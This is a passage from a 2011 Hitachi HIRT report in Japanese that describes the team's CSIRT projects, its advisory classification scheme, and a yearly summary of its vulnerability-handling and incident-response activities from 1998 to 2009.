 情報セキュリティ早期警戒対応の推進 (脆
弱性対策ならびにインシデント対応に関す

る情報／ノウハウの水平展開) 
 日立 SOCIX(Security Operation Center 
Information eXchange)に基づく広域観測網

の構築 
製品／サービス

の脆弱性対策と

インシデント 
対応の推進 

 事業部／グループ会社 IRT 窓口との連携強

化(フェーズ 1) 
 脆弱性対策とインシデント対応のための技

術ノウハウの蓄積と展開 
 セキュリティ情報統合サイトを活用した社

外Webサイトにおけるセキュリティ情報発

信の推進 
製品／サービス

のセキュリティ

技術の向上 

 セキュリティ作り込みプロセスの整備(開
発～検査～運用管理のための各種ガイドラ

インなど) 
 社内支援活動を通じた，支援内容・プロセ

スの強化・拡充 
 Web アプリケーションセキュリティの強化

研究活動基盤の

整備 
 システム開発研究所との共同研究体制の整

備 (P2P 観測関連など) 
 

表 5 推進中のプロジェクト(社外対応) 
分類 概要 

CSIRT 活動の 
国内連携の強化 

 情報セキュリティ早期警戒パートナーシッ

プに基づく脆弱性対策活動の展開 
 日本シーサート協議会関連活動との連携 

CSIRT 活動の 
海外連携の強化 

 FIRST カンファレンスでの講演／参画を通

じた海外 CSIRT 組織／海外製品ベンダ IRT
との連携体制の整備 
 英国 WARP 関連活動の推進 
 CVE，CVSS など脆弱性対策とインシデン

ト対応の標準化 (ISO，ITU-T) への対応[*b]
研究活動基盤の

整備 
 東海大学(菊池教授)との共同研究の推進 
 マルウェア対策研究人材育成ワークショッ

プ (MWS)[16] など学術系研究活動への参

画 
 

                                                        
*b) ISO SC27/WG3 では 2007 年から『脆弱性情報の開示(29147)』、
2010 年から『脆弱性対応手順(30111)』の検討を開始した。ITU-T 
SG17 Q.4 では 2009 年から CVE(共通脆弱性識別子)，CVSS(共通脆

弱性評価システム)などの『サイバーセキュリティ情報交換フレー

ムワーク(X.cybex)』の標準化活動を開始した。 
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社内向けの注意喚起やアドバイザリの発行につ

いては，2005 年 6 月から HIRT セキュリティ情報

を細分化した．注意喚起ならびに注目すべき情報

を広く配布することを目的とした HIRT セキュリ

ティ情報と，個別に対処依頼を通知する

HIRT-FUP 情報とに分け，広報と優先度とを考慮

した運用に移行している(表 6，図 18)．また，情

報を効果的に展開するため，情報の集約化による

発行数の低減と共に，IT 戦略本部と品質保証本部

と連動した情報発信を実施している． 
製品／サービスの脆弱性対策とインシデント対

応としては，セキュリティ情報統合サイトを用い

て，日立グループの製品／サービスセキュリティ

に関する取り組みを広くインターネットユーザに

展開する活動を推進中である． 
 
表 6：HIRT が発行するセキュリティ情報の分類 

識別番号 用途 
HIRT-FUPyynnn 優先度：緊急 

配布先：関連部署のみ 
HIRT センタが日立グループ製品や Web サイト

の脆弱性を発見した場合や，その報告を受けた

場合など，関連部署との連絡を必要とする際に

利用する． 
HIRT-yynnn 優先度：中～高 

配布先：限定なし 
広く脆弱性対策とインシデント対応の注意喚

起を行なう際に利用する． 
HIRT-FYIyynnn 優先度：低 

配布先：限定なし 
HIRT オープンミーティング，講演会などの開

催案内を通知する際に利用する． 
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図 18：識別番号別セキュリティ情報の発行数 

 
特に，社外向けの脆弱性対策とインシデント対

応のセキュリティ情報の発信にあたっては，セキ

ュリティ情報統合サイトを用いた定常的なセキュ

リティ情報の発信だけではなく，『緊急度のレベ

ル』を判断し，次に情報掲載 Web サイトの『階層

レベル』を選択するという緊急度レベル×階層レ

ベル型の情報発信アプローチも併用している(図 
19)． 
 

 
図 19：緊急度レベル×階層レベル型の情報発信の

概念図 
 

4 1998 年～2009 年の活動サマリ 
本章では，HIRT プロジェクトとして活動を始め

た 1998 年以降の各年の活動トピックスについて

述べる． 
 

4.1 2009 年 

(1) 製品／サービスセキュリティ活動の開始 
脆弱性対策とインシデント対応の活動を通じて

得られたノウハウを製品開発プロセスにフィード

バックするため，プロセス毎の HIRT 支援活動を

開始した (図 20)． 
 

Webアプリ

セキュリティ
基礎講座

セキュリティ
レビュー支援

Webアプリ

セキュリティ
検査体験講座

検査ツール
活用教育

インシデント
対応支援

ログチェック
　運用の支援

運　用テスト実装/構築設　計見　積基礎知識

Webアプリ

セキュリティ
基礎講座

セキュリティ
レビュー支援

Webアプリ

セキュリティ
検査体験講座

検査ツール
活用教育

インシデント
対応支援

ログチェック
　運用の支援

運　用テスト実装/構築設　計見　積基礎知識

 
図 20：HIRT 支援活動の体系化 

(Web アプリケーションのセキュリティ) 
 
(2) セキュリティ技術者育成研修プログラムの 

実施 
CSIRT 活動を活かしたセキュリティ技術者育成

の一環として，グループ会社より研修生を受け入

れ，Web システムのセキュリティ対策を中心とし

た半年間の研修を実施した． 
(3) 講演会 
 2009 年 7 月：(独)産業技術総合研究所 高木浩

光氏『Web アプリケーションセキュリティ』 
 2009 年 7 月：NTT-CERT 吉田尊彦氏

『NTT-CERT の活動取り組み』 
(4) その他 
 P2P ファイル交換ソフト環境で流通するマル

ウェアに関する調査[17][18] 
 2009 年 2 月：NTT-CERT 主催のワークショッ

プにおいて，NTT グループ向けに Web アプリ

ケーション開発の演習を実施 
 日本シーサート協議会のインシデント情報活
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用フレームワーク検討 WG と連携し，観測デ

ータに基づいた見える化を試みる cNotes 
(Current Status Notes)[19]を用いた情報発信を

開始． 
 

4.2 2008 年 

(1) DNS キャッシュポイズニングの対策 
DNS キャッシュポイズニング対策として，

『DNS の役割と関連ツールの使い方』説明会を開

催した．また，説明会用に作成した資料は，国内

の DNS キャッシュポイズニング対策に役立てて

もらうため，2009 年 1 月に IPA から発行された

『DNS キャッシュポイズニング対策』[20]の資料

素材として提供した． 
(2) JWS2008 の開催 

2008 年 3 月 25 日～28 日，国内 FIRST 加盟チー

ムと共に，FIRST 技術ミーティングである FIRST 
Technical Colloquium と国内 CSIRT の技術交流ワ

ークショップ Joint Workshop on Security 2008, 
Tokyo (JWS2008) を開催した[21]． 
(3) 国内 COMCHECK Drill 2008 への参加 
企業内の情報セキュリティ部署の対外向け連絡

窓口のコミュニケーション確認を目的とした，国

内 COMCHECK Drill 2008 (演習名：SHIWASU，

2008 年 12 月 4 日実施) に参加した． 
(4) 経済産業省商務情報政策局長表彰 (情報セキ

ュリティ促進部門) 受賞 
2008 年 10 年 1 日に開催された，情報化月間推

進会議 (経済産業省，内閣府，総務省，財務省，

文部科学省，国土交通省) 主催の，平成 20 年度情

報化月間記念式典にて，『経済産業省商務情報政

策局長表彰 (情報セキュリティ促進部門)』を受賞

しました[22]． 
(5) 講演会 
 2008 年 4 月：明治大学 経営学部教授 中西晶

氏『高信頼性組織のマネジメント』 
(6) その他 
新たな組織間連携の取り組みとして，標的型攻

撃の実態の一旦を明らかにすべく情報処理学会コ

ンピュータセキュリティ研究会が主催するシンポ

ジウムの募集要項を騙ったマルウェア添付メール

の検体を関連組織に提供した． 
 

4.3 2007 年 

(1) 演習型 HIRT オープンミーティングの開始 
ガイドライン『Web アプリケーションセキュリ

ティガイド』のより実践的な展開を図るため，2007
年は，3 月，6 月の 2 回，Web アプリケーション

開発者を対象に，演習型の HIRT オープンミーテ

ィングを開催した． 
(2) 日本シーサート協議会の設立 

2007 年 4 月，単独の CSIRT では解決が困難な事

態に対してCSIRT間の強い信頼関係に基づいた迅

速かつ 適な対応を実施する体制作りを整備する

ため，IIJ-SECT (IIJ)，JPCERT/CC，JSOC (ラック)，
NTT-CERT (NTT)，SBCSIRT (ソフトバンク) と共

に，日本シーサート協議会を設立した[23]．2011
年 4 月現在，20 チームが加盟している (図 21)． 
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図 21：日本シーサート協議会加盟チーム数の推移 
 
(3) 英 WARP 加盟 

2007 年 5 月，CSIRT 活動の海外連携強化のため，

英国政府のセキュリティ機関 CPNI (The Centre for 
the Protection of the National Infrastructure) が推進

する WARP (Warning, Advice and Reporting Point) 
に加盟した[24]． 
(4) 講演会 
 2007 年 8 月：フォティーンフォティ技術研究

所 鵜飼裕司氏 『静的解析による脆弱性検査』 
 

4.4 2006 年 

(1) 脆弱性届出統合窓口の設置 
2006 年 11 月，日立グループにおいて脆弱性関

連情報を適切に流通させ，日立のソフトウェア製

品および Web サイトの脆弱性対策を推進するた

めに，ソフトウェア製品および Web アプリケーシ

ョンに関する脆弱性もしくは不具合を発見した場

合の日立グループ向けの脆弱性届出統合窓口を設

置した． 
(2) Web アプリケーションセキュリティの強化 

2006 年 10 月，日立グループにおける Web アプ

リケーションセキュリティ施策の一環として，ガ

イドラインとチェックリストを整備すると共に，

日立グループ内への展開を支援した．ガイドライ

ン『Web アプリケーションセキュリティガイド 
(開発編) V2.0』では，LDAP インジェクション，

XML インジェクションなどの新たな脆弱性項目

と脆弱性有無の確認方法を追記し改訂を行った． 
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(3) ファイル交換ソフトによる情報漏えいに 
   関する注意喚起 

Antinny は，2003 年 8 月に出現したファイル交

換ソフトウェア『Winny』を通じて流布するマル

ウェアである．感染すると情報漏えいや特定サイ

トへの攻撃活動を発症する．HIRT では，これら脅

威の状況を踏まえ，2006 年 4 月に資料『～ウィニ

ーによる情報漏えいの防止と将来発生する危険か

ら身を守るために～』による注意喚起を行った． 
(4) 情報家電／組込み系の製品セキュリティ 
   活動の立上げ 
情報家電／組込み系の製品セキュリティ活動の

立上げを開始した．HIRT では，インターネット電

話などで用いられる通話制御プロトコルのひとつ

である SIP (Session Initiation Protocol) に注目し，

関連するセキュリティツールならびにセキュリテ

ィ対策の状況を調査報告としてまとめた． 
(5) CSIRT コミュニティとの組織間連携の強化 

2006 年 3 月，NTT-CERT 主催の NTT グループ

向けワークショップで日立のCSIRT活動を紹介し，

CSIRT 活動を相互に改善するための情報交換を行

なった． 
(6) 講演会 
 2006 年 5 月：eEye Digital Security 鵜飼裕司氏 

『組込みシステムのセキュリティ』 
 2006 年 9 月：Telecom-ISAC Japan 小山覚氏 

『Telecom-ISAC Japan におけるボットネット

対策』 
(7) その他 
 HIRT から発信する技術文書 (PDF ファイル)

にデジタル署名を付加する活動を開始[25] 
 

4.5 2005 年 

(1) FIRST 加盟 
2005 年 1 月，各国の CSIRT 組織と連携可能なイ

ンシデント対応体制を作りながら，CSIRT 活動の

実績を積むため，世界におけるコンピュータ・イ

ンシデント対応チームの国際的なコミュニティで

ある Forum of Incident Response and Security Teams 
(FIRST) に加盟した[26]．加盟にあたっては，加盟

済み 2 チームによる推薦が必要であり，約 1 年の

準備期間を要した． 
2011 年 4 月現在，日本からは，CDI-CIRT (サイ

バーディフェンス研究所)，CFC (警察庁情報通信

局)，HIRT (日立)，IIJ-SECT (IIJ)，IPA-CERT (情報

処理推進機構)，JPCERT/CC，JSOC (ラック)，
KDDI-SOC (KDDI)，KKCSIRT (カカクコム)，
MIXIRT (ミクシィ)，NCSIRT (NRI セキュアテク

ノロジーズ)，NISC (内閣官房情報セキュリティセ

ンタ)，NTT-CERT (NTT)，NTTDATA-CERT (NTT
データ)，Panasonic PSIRT (パナソニック)，
Rakuten-CERT (楽天)，RicohPSIRT (リコー)，
SBCSIRT (ソフトバンク)，YIRD (ヤフー)の 19 チ

ームが加盟している (図 22)． 
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図 22：FIRST 加盟チーム数の推移 

 
(2) セキュリティ情報統合サイトの開設 

2005 年 9 月，日立グループの製品／サービスの

セキュリティ問題に関する情報を統合的にインタ

ーネット利用者に提供するため，各事業部ならび

にグループ会社の Web サイトから発信されてい

るセキュリティ情報を統合する窓口ページを開設

した (図 23)．これにあわせ，セキュリティ情報

発信ガイドとして『社外向け Web セキュリティ情

報発信サイトの発信ガイド V1.0』を作成した． 
 

セキュリティ情報統合サイト 
日本語 http://www.hitachi.co.jp/hirt/ 
英語  http://www.hitachi.com/hirt/ 

 
図 23：統合サイトでのセキュリティ情報発信 

 
(3) CSIRT 活動の国内連携強化 

CSIRT 活動の国内連携強化として，FIRST 加盟

済み国内チームとの意見交換会，NTT-CERT なら

びにマイクロソフト PST (Product Security Team) 
との個別に意見交換会を実施すると共に，Web サ

イト改ざん発見時の通知などの連絡網を整備した． 
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4.6 2004 年 

(1) 情報セキュリティ早期警戒パートナーシップ 
   への参画 

2004 年 7 月『ソフトウェア等脆弱性関連情報取

扱基準』の施行にあわせて，情報セキュリティ早

期警戒パートナーシップ制度が始動した[27][28]，
日立グループでは，パートナーシップに製品開発

ベンダとして登録(HIRT を連絡窓口)すると共に，

Japan Vulnerability Notes (JVN)[29]への脆弱性対策

の状況掲載を開始した． 
(2) Web アプリケーションセキュリティの強化 

2004 年 11 月，Web アプリケーションの設計／

開発時に留意すべき，代表的な問題点とその対策

方法の概要についてまとめた『Web アプリケーシ

ョンセキュリティガイド (開発編) V1.0』を作成し，

日立グループ全体に展開した． 
(3) 講演会 
 2004 年 1 月：ISS(Internet Security Systems)Tom 

Noonan 氏 『Blaster 以降の米国セキュリティ

ビジネス事情』 
 

4.7 2003 年 

(1) Web アプリケーションセキュリティ活動の 
   立上げ 

Web アプリケーションセキュリティ強化活動の

検討を開始すると共に，事業部と共同で『Web ア

プリケーション開発に伴うセキュリティ対策基準

の作成手順 V1.0』を作成した． 
(2) NISCC からの脆弱性関連情報の社内展開 

2002 年の CERT/CC 脆弱性関連情報の社内展開

に続き，NISCC (現 CPNI) Vulnerability Disclosure 
Policy に基づく脆弱性関連情報入手と情報掲載を

開始した．活動開始以降，日立製品の情報がNISCC 
Vulnerability Advisory に 初に掲載されたのは

2004 年 1 月の 006489/H323 である[30]． 
 

表 7：連絡窓口情報 
名称 "HIRT": Hitachi Incident Response Team. 
所在地 〒212-8567 神奈川県川崎市幸区鹿島田 890
電子メール 
アドレス 

 

公開鍵 
PGP key 

KeyID = 2301A5FA 
Key fingerprint 

7BE3 ECBF 173E 3106 F55A  
011D F6CD EB6B 2301 A5FA 

pub 1024D/ 2003-09-17 
HIRT: Hitachi Incident Response Team 

< > 
 
 
 

(3) HIRT 社外向け連絡窓口の整備 
脆弱性発見に伴う関連機関への報告と公開に関

する活動[31]の活発化にあわせ，日立製品ならび

に日立が関与するサイトに対して脆弱性の存在や

侵害活動の要因などが指摘された場合の対処窓口

として，表 7に示す連絡窓口を設置した． 
 

4.8 2002 年 

(1) CERT/CC 脆弱性関連情報の社内展開 
2002 年に CERT/CC から報告された SNMP の脆

弱性[15]は，多くのソフトウェアや装置に影響を

与えた．この脆弱性報告をきっかけに，HIRT では，

製品ベンダ IRTの立上げと，CERT/CC Vulnerability 
Disclosure Policy に基づく脆弱性関連情報入手と

情報掲載を開始した[32]．活動開始以降，日立製

品の情報が CERT/CC Vulnerability Notes Database
に 初に掲載されたのは 2002 年 10 月の

VU#459371 である[33]． 
(2) JPCERT/CC Vendor Status Notes の構築と 
   運用支援 
国内のセキュリティ情報流通改善の試みとして，

2003 年 2 月，試行サイト JPCERT/CC Vendor Status 
Notes (JVN) (http://jvn.doi.ics.keio.ac.jp/) の構築と

運用を支援した (図 24)[34][35]．なお，試行サイ

トは，2004 年 7 月の『ソフトウェア等脆弱性関連

情報取扱基準』の施行に伴い，報告された脆弱性

を公表する Japan Vulnerability Notes (JVN) サイト 
(http://jvn.jp/) にその役割を引き継がれている． 
 

2002 2003 2004

2003/02/03～2004/07/07
試行サイト運用期間

▲ 2002年6月　JVNワーキンググループ立ち上げ

▲ 2003年2月　jvn.doi.ics.keio.ac.jp 試行サイト公開

▲ 2003年7月　JVNRSS 提供開始　　

▲ 2004年1月　TRnotes 提供開始

▲ 2003年12月　VN-CIAC 提供開始

2005

▲ 2004年7月　jvn.jp サイト公開

2004/07/08～
本サイト運用

 
図 24：JVN 試行サイトの構築ならびに運用 

 

4.9 2001 年 

(1) Web サーバを攻撃対象とするワームの 
   活動状況調査 
インターネット上に公開している Web サーバ

から回収したログデータをもとに，2001 年に流布

した Web サーバを攻撃対象とするワームである，

CodeRed I，CodeRed II，Nimda の活動状況につい

て状況調査を実施した (2001 年 7 月 15 日～2002
年 6 月 30 日)．特に，国内で被害の大きかった

CodeRed II，Nimda (図 25) については， 初の痕
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跡記録時刻から 頻数となった日までわずか 2 日

間程度であり，ワームによる被害波及が短期間か

つ広範囲に渡っていた． 
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図 25：観測期間内の痕跡数変位 (Nimda) 

 

4.10 2000 年 

(1) 脆弱性の深刻度に関する指標調査 
侵害活動などに利用される脆弱性の深刻度を図

るために，関連機関が提示している脆弱性の深刻

度の指標を調査した． 
CERT/CC では，脆弱性毎に Vulnerability 

Notes[36]と呼ぶメモを作成し，その中で脆弱性の

深刻度を示すSeverity Metricsを算出している[37]．
MITRE が推進する CVE (共通脆弱性識別子) では

脆弱性を『通常考えられる一般的なセキュリティ

ポリシーを侵害する“Vulnerability”』と『個々の

環境に依存し，個別のセキュリティポリシーを侵

害する“Exposure”』の 2 つに区別し，Vulnerability
を脆弱性として取り扱う[38]．また，NIST では，

NVD の前身である ICAT Metabase[39]において，

CERTアドバイザリならびに CVEの発行有無を脆

弱性の深刻度判定の目安とし，3 段階の分類を行

っている． 
なお，各組織で使用する脆弱性の深刻度指標が

異なっていることから，2004 年，脆弱性の深刻度

を包括的かつ汎用的に評価する共通指標として

FIRST が推進する CVSS (共通脆弱性評価システ

ム)[40]が利用され始めた． 
 

4.11 1999 年 

(1) hirt.hitachi.co.jp ドメイン稼動開始 
日立グループへのセキュリティ情報提供の改善

を図るため，1999 年 12 月，HIRT プロジェクト用

の社内向けドメインを用意し，Web サイト

hirt.hitachi.co.jp を立上げた． 
(2) Web サイト書き換えの調査 

1996 年に米国で Web サイトのページ書き換え

が発生してからネットワークワーム世代 (2001 年

～2004 年) までの間，Web サイトのページ書き換

えが代表的なインシデントとなった．1999 年～

2002 年にかけ，侵害活動の発生状況を把握するた

めに，Web サイトのページ書き換えに関する調査

を行なった (図 26)． 
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図 26：Web サイトの書き換え件数の推移 

 

4.12 1998 年 

(1) HIRT セキュリティ情報のサービス開始 
1998 年 4 月，CERT/CC，JPCERT/CC や製品ベ

ンダ (シスコ，ヒューレッド・パッカード，マイ

クロソフト，ネットスケープ，サン・マイクロシ

ステムズなど) が発行するセキュリティ情報を元

に社内メーリングリストと HIRT プロジェクト用

の社内 Web サイトにて対策情報の提供を開始し

た． 
(2) ネットワークセキュリティセミナー開催 

1998 年 6 月 25 日～26 日，米セキュリティカン

ファレンス DEFCON[41]にスピーカとしても参加

している米国技術者を講師に迎え，日立向けに『ネ

ットワークセキュリティ』教育を実施した． 
 

5 おわりに 
サイバー攻撃活動での攻撃手法は高度かつ洗練

され，さらに攻撃者の意識も決して計画達成をあ

きらめないなどの変化があり，技術面だけではな

く，心理面をも考慮したインシデント対処が必要

となってきている．このような新たな局面に入っ

た今だからこそ，日本という地域性を踏まえて

CSIRT 活動を定着させる必要があり，さらに現地

化したCSIRT活動と国際連携との新しいトラスト

モデルを考え始める時期にある． 
HIRT では，インシデントの状況変化を踏まえ，

『次の脅威をキャッチアップする』過程の中で，

早期に対策展開を図る活動を進めていく．また，

日立グループ CSIRT 活動の向上，CSIRT コミュニ
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ティとの組織間連携の強化などのCSIRT活動を通

じて，今後共，国内の脆弱性対策とインシデント

対応活動に寄与していく予定である． 
 

(2011 年 7 月 1 日) 
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